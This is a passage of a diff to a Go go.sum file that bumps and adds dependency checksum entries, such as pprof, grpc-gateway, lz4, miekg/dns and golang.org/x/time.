github.com/go-resty/resty/v2 v2.17.2/go.mod h1:kCKZ3wWmwJaNc7S29BRtUhJwy7iqmn+2mLtQrOyQlVA=
|
||||
github.com/go-sql-driver/mysql v1.10.0 h1:Q+1LV8DkHJvSYAdR83XzuhDaTykuDx0l6fkXxoWCWfw=
|
||||
github.com/go-sql-driver/mysql v1.10.0/go.mod h1:M+cqaI7+xxXGG9swrdeUIoPG3Y3KCkF0pZej+SK+nWk=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||
github.com/go-viper/mapstructure/v2 v2.5.0 h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro=
|
||||
github.com/go-viper/mapstructure/v2 v2.5.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||
github.com/goccy/go-json v0.10.6 h1:p8HrPJzOakx/mn/bQtjgNjdTcN+/S6FcG2CTtQOrHVU=
|
||||
github.com/goccy/go-json v0.10.6/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||
github.com/goccy/go-yaml v1.9.5/go.mod h1:U/jl18uSupI5rdI2jmuCswEA2htH9eXfferR3KfscvA=
|
||||
@@ -327,8 +347,9 @@ github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEW
|
||||
github.com/gomodule/redigo v1.9.3 h1:dNPSXeXv6HCq2jdyWfjgmhBdqnR6PRO3m/G05nvpPC8=
|
||||
github.com/gomodule/redigo v1.9.3/go.mod h1:KsU3hiK/Ay8U42qpaJk+kuNa3C+spxapWpM+ywhcgtw=
|
||||
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
||||
github.com/google/btree v1.0.0 h1:0udJVsspx3VBr5FwtLhQQtuAsVc79tTq0ocGIPAU6qo=
|
||||
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
||||
github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg=
|
||||
github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
@@ -368,8 +389,8 @@ github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLe
|
||||
github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
|
||||
github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
|
||||
github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
github.com/google/pprof v0.0.0-20260802141513-ef3492d7dac3 h1:LMLX+LgTNWpfvCBdFebv6EsYotImrt/Ppc5cXIriCSo=
|
||||
github.com/google/pprof v0.0.0-20260802141513-ef3492d7dac3/go.mod h1:jl5iWTm0/hd5PjEYEOuwAJ57L/CibdZfrqZ5XA5GrCk=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
@@ -394,8 +415,8 @@ github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aN
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk=
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0/go.mod h1:Hyl3n6Twe1hvtd9XUXDec4pTvgMSEixRuQKPTMH2bNs=
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 h1:/Tnpcb2E0Pz/tN9s3bfEY2Q8ePCEX9iuS+cneUwncnw=
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0/go.mod h1:zOBXOsUaBSjKgmH4OGzV1esUpR3oUSCPYVd2cUBjKYY=
|
||||
github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0=
|
||||
github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
@@ -419,7 +440,6 @@ github.com/hashicorp/go-version v1.9.0 h1:CeOIz6k+LoN3qX9Z0tyQrPtiB1DFYRPfCIBtaX
|
||||
github.com/hashicorp/go-version v1.9.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
|
||||
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/golang-lru v0.5.4 h1:YDjusn29QI/Das2iO9M0BHnIbxPeyuCHsjMW+lJfyTc=
|
||||
github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
@@ -453,16 +473,17 @@ github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCV
|
||||
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
|
||||
github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
|
||||
github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/json-iterator/go v1.1.13-0.20220915233716-71ac16282d12 h1:9Nu54bhS/H/Kgo2/7xNSUuC5G28VR8ljfrLKU2G4IjU=
|
||||
github.com/json-iterator/go v1.1.13-0.20220915233716-71ac16282d12/go.mod h1:TBzl5BIHNXfS9+C35ZyJaklL7mLDbgUkcgXzSLa8Tk0=
|
||||
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
|
||||
github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
|
||||
github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
|
||||
github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
github.com/klauspost/compress v1.19.2 h1:hMRETovs/pu/dVWN7zIT1PGG8t509MwT6bO7XSi26R8=
|
||||
github.com/klauspost/compress v1.19.2/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
github.com/klauspost/cpuid/v2 v2.4.0 h1:S6Hrbc7+ywsr0r+RLapfGBHfyefhCTwEh3A0tV913Dw=
|
||||
github.com/klauspost/cpuid/v2 v2.4.0/go.mod h1:19jmZ9mjzoF//ddRSUsv0zfBTJWh3QJh9FNxZTMrGxU=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
@@ -506,6 +527,8 @@ github.com/mfridman/interpolate v0.0.2 h1:pnuTK7MQIxxFz1Gr+rjSIx9u7qVjf5VOoM/u6B
|
||||
github.com/mfridman/interpolate v0.0.2/go.mod h1:p+7uk6oE07mpE/Ik1b8EckO0O4ZXiGAfshKBWLUM9Xg=
|
||||
github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=
|
||||
github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=
|
||||
github.com/miekg/dns v1.1.72 h1:vhmr+TF2A3tuoGNkLDFK9zi36F2LS+hKTRW0Uf8kbzI=
|
||||
github.com/miekg/dns v1.1.72/go.mod h1:+EuEPhdHOsfk6Wk5TT2CzssZdqkmFhf8r+aVyDEToIs=
|
||||
github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
|
||||
@@ -518,8 +541,9 @@ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee h1:W5t00kpgFdJifH4BDsTlE89Zl93FEloxaWZfGcifgq8=
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
|
||||
github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
|
||||
github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=
|
||||
@@ -532,6 +556,8 @@ github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vv
|
||||
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
|
||||
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
|
||||
github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
|
||||
github.com/oschwald/maxminddb-golang v1.13.1 h1:G3wwjdN9JmIK2o/ermkHM+98oX5fS+k5MbwsmL4MRQE=
|
||||
github.com/oschwald/maxminddb-golang v1.13.1/go.mod h1:K4pgV9N/GcK694KSTmVSDTODk4IsCNThNdTmnaBZ/F8=
|
||||
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
|
||||
github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
|
||||
github.com/paulmach/orb v0.13.0 h1:r7n7mQGGF+cj/CbcivEj9J3HGK+XR+yXnvzRdq9saIw=
|
||||
@@ -542,8 +568,8 @@ github.com/pelletier/go-toml/v2 v2.4.3 h1:GTRvJQutkOSftxIFD5xw9aepkYNuPWmVJpffdD
|
||||
github.com/pelletier/go-toml/v2 v2.4.3/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
|
||||
github.com/peterbourgon/diskv/v3 v3.0.1 h1:x06SQA46+PKIUftmEujdwSEpIx8kR+M9eLYsUxeYveU=
|
||||
github.com/peterbourgon/diskv/v3 v3.0.1/go.mod h1:kJ5Ny7vLdARGU3WUuy6uzO6T0nb/2gWcT1JiBvRmb5o=
|
||||
github.com/pierrec/lz4/v4 v4.1.27 h1:+PhzhWDrjRj89TH2sw43nE3+4+W8lSxIuQadEHZyjUk=
|
||||
github.com/pierrec/lz4/v4 v4.1.27/go.mod h1:EoQMVJgeeEOMsCqCzqFm2O0cJvljX2nGZjcRIPL34O4=
|
||||
github.com/pierrec/lz4/v4 v4.1.28 h1:pPEPwRJ4kybBTfGt28q7lQsRJQHhC08axprdLD5Ppio=
|
||||
github.com/pierrec/lz4/v4 v4.1.28/go.mod h1:EoQMVJgeeEOMsCqCzqFm2O0cJvljX2nGZjcRIPL34O4=
|
||||
github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=
|
||||
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
@@ -628,11 +654,15 @@ github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3A
|
||||
github.com/spf13/viper v1.13.0/go.mod h1:Icm2xNL3/8uyh/wFuB1jI7TiTNKp8632Nwegu+zgdYw=
|
||||
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
|
||||
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
|
||||
github.com/stangelandcl/ppmd v0.1.1 h1:c25QazhlWUn5nmR1QOzafKhQxBicAr7GGCKER2aJ8H8=
|
||||
github.com/stangelandcl/ppmd v0.1.1/go.mod h1:Rrv7M+/2P5jYr/GMLhBl7Ug3uJ1bUiVzr5LbbaV6xgY=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
|
||||
github.com/stretchr/objx v0.5.3 h1:jmXUvGomnU1o3W/V5h2VEradbpJDwGrzugQQvL0POH4=
|
||||
github.com/stretchr/objx v0.5.3/go.mod h1:rDQraq+vQZU7Fde9LOZLr8Tax6zZvy4kuNKF+QYS+U0=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
@@ -669,8 +699,10 @@ github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhso
|
||||
github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM=
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
|
||||
github.com/ugorji/go/codec v1.3.1 h1:waO7eEiFDwidsBN6agj1vJQ4AG7lh2yqXyOXqhgQuyY=
|
||||
github.com/ugorji/go/codec v1.3.1/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4=
|
||||
github.com/ugorji/go/codec v1.3.2 h1:zkEASHHyEClGeURfgNT9PJZVfAbs9oEX9QXggwWNJbc=
|
||||
github.com/ugorji/go/codec v1.3.2/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4=
|
||||
github.com/ulikunitz/xz v0.5.16 h1:ld6NyySjx5lowVKwJvMRLnW5nxKX/xnpSiFYZ/Lxur0=
|
||||
github.com/ulikunitz/xz v0.5.16/go.mod h1:H9Rt/W6/Qj27PGauhQc6nfCDy7vHpzsOThBSaYDoEhw=
|
||||
github.com/uptrace/opentelemetry-go-extra/otelutil v0.3.2 h1:3/aHKUq7qaFMWxyQV0W2ryNgg8x8rVeKVA20KJUkfS0=
|
||||
github.com/uptrace/opentelemetry-go-extra/otelutil v0.3.2/go.mod h1:Zit4b8AQXaXvA68+nzmbyDzqiyFRISyw1JiD5JqUBjw=
|
||||
github.com/uptrace/opentelemetry-go-extra/otelzap v0.3.2 h1:cj/Z6FKTTYBnstI0Lni9PA+k2foounKIPUmj1LBwNiQ=
|
||||
@@ -683,8 +715,8 @@ github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/yuin/gopher-lua v1.1.1 h1:kYKnWBjvbNP4XLT3+bPEwAXJx262OhaHDWDVOPjL46M=
|
||||
github.com/yuin/gopher-lua v1.1.1/go.mod h1:GBR0iDaNXjAgGg9zfCvksxSRnQx76gclCIb7kdAd1Pw=
|
||||
github.com/yuin/gopher-lua v1.1.2 h1:yF/FjE3hD65tBbt0VXLE13HWS9h34fdzJmrWRXwobGA=
|
||||
github.com/yuin/gopher-lua v1.1.2/go.mod h1:7aRmXIWl37SqRf0koeyylBEzJ+aPt8A+mmkQ4f1ntR8=
|
||||
github.com/zeebo/xxh3 v1.1.0 h1:s7DLGDK45Dyfg7++yxI0khrfwq9661w9EN78eP/UZVs=
|
||||
github.com/zeebo/xxh3 v1.1.0/go.mod h1:IisAie1LELR4xhVinxWS5+zf1lA4p0MW4T+w+W07F5s=
|
||||
go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A=
|
||||
@@ -716,8 +748,8 @@ go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.45.0 h1:fG5MC
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.45.0/go.mod h1:BmAYTn+3ysbRe+IU2msxmf5Rx3g6DHvex+tWI3LdhYI=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.45.0 h1:lsA/S1bxgdbyFGkTj+3meEdJ6ADVU7QoFstV6MXgE68=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.45.0/go.mod h1:L7u+MirGoB1bjeLH66+xDykF4RC8C3RN7lIFpBiewUo=
|
||||
go.opentelemetry.io/otel/log v0.12.2 h1:yob9JVHn2ZY24byZeaXpTVoPS6l+UrrxmxmPKohXTwc=
|
||||
go.opentelemetry.io/otel/log v0.12.2/go.mod h1:ShIItIxSYxufUMt+1H5a2wbckGli3/iCfuEbVZi/98E=
|
||||
go.opentelemetry.io/otel/log v0.6.0 h1:nH66tr+dmEgW5y+F9LanGJUBYPrRgP4g2EkmPE3LeK8=
|
||||
go.opentelemetry.io/otel/log v0.6.0/go.mod h1:KdySypjQHhP069JX0z/t26VHwa8vSwzgaKmXtIB3fJM=
|
||||
go.opentelemetry.io/otel/metric v1.45.0 h1:7Eg1uH7CJ5cXv9is6tnBe1FI6rj1nwUdbFypRm3br/M=
|
||||
go.opentelemetry.io/otel/metric v1.45.0/go.mod h1:HAPbm1nd3p1PmFH7v2dR+6BjXxw+Lq4a2+pndMAm08s=
|
||||
go.opentelemetry.io/otel/sdk v1.45.0 h1:4VVSMgQ83dUgW2aoX5f6JgLvHwIvzcuLnF9lUdCSpCw=
|
||||
@@ -742,8 +774,11 @@ go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN8
|
||||
go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo=
|
||||
go.uber.org/zap v1.28.0 h1:IZzaP1Fv73/T/pBMLk4VutPl36uNC+OSUh3JLG3FIjo=
|
||||
go.uber.org/zap v1.28.0/go.mod h1:rDLpOi171uODNm/mxFcuYWxDsqWSAVkFdX4XojSKg/Q=
|
||||
go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
|
||||
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
|
||||
go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
|
||||
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
|
||||
go4.org v0.0.0-20260112195520-a5071408f32f h1:ziUVAjmTPwQMBmYR1tbdRFJPtTcQUI12fH9QQjfb0Sw=
|
||||
go4.org v0.0.0-20260112195520-a5071408f32f/go.mod h1:ZRJnO5ZI4zAwMFp+dS1+V6J6MSyAowhRqAE+DPa1Xp0=
|
||||
golang.org/x/arch v0.29.0 h1:8sSET5wB0+exBm0FGmOtdHMqjlRdV2DRD3/IV6OZgho=
|
||||
golang.org/x/arch v0.29.0/go.mod h1:0X+GdSIP+kL5wPmpK7sdkEVTt2XoYP0cSjQSbZBwOi8=
|
||||
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
@@ -1008,8 +1043,8 @@ golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
|
||||
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
|
||||
golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U=
|
||||
golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
@@ -1068,8 +1103,8 @@ golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/tools v0.47.0 h1:7Kn5x/d1svx/PzryTsqeoZN4TZwqeH5pGWjefhLi/1Q=
|
||||
